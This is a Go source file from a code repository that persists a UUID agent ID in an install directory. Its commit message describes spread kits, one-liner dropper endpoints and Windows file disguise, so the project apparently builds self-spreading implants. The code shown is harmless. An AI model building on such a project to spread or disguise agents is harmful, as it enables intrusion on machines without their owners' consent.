Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
52 lines
1.2 KiB
Go
52 lines
1.2 KiB
Go
package deploy
|
|
|
|
import (
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
"github.com/google/uuid"
|
|
)
|
|
|
|
const agentIDFile = "agent.id"
|
|
|
|
// EnsureAgentID creates a fresh agent ID during a new embed/install.
|
|
func EnsureAgentID(installDir string) (string, error) {
|
|
if err := os.MkdirAll(installDir, 0755); err != nil {
|
|
return "", err
|
|
}
|
|
id := uuid.New().String()
|
|
if err := writeAgentID(installDir, id); err != nil {
|
|
return "", err
|
|
}
|
|
return id, nil
|
|
}
|
|
|
|
// loadOrCreateAgentID reuses an existing agent.id when re-running spread install.
|
|
func loadOrCreateAgentID(installDir string) (string, error) {
|
|
if id, err := LoadAgentID(installDir); err == nil && id != "" {
|
|
return id, nil
|
|
}
|
|
return EnsureAgentID(installDir)
|
|
}
|
|
|
|
// LoadAgentID returns the persisted agent ID from the install directory.
|
|
func LoadAgentID(installDir string) (string, error) {
|
|
path := filepath.Join(installDir, agentIDFile)
|
|
data, err := os.ReadFile(path)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
id := strings.TrimSpace(string(data))
|
|
if id == "" {
|
|
return "", fmt.Errorf("agent id file is empty")
|
|
}
|
|
return id, nil
|
|
}
|
|
|
|
func writeAgentID(installDir, id string) error {
|
|
path := filepath.Join(installDir, agentIDFile)
|
|
return os.WriteFile(path, []byte(id+"\n"), 0600)
|
|
}
|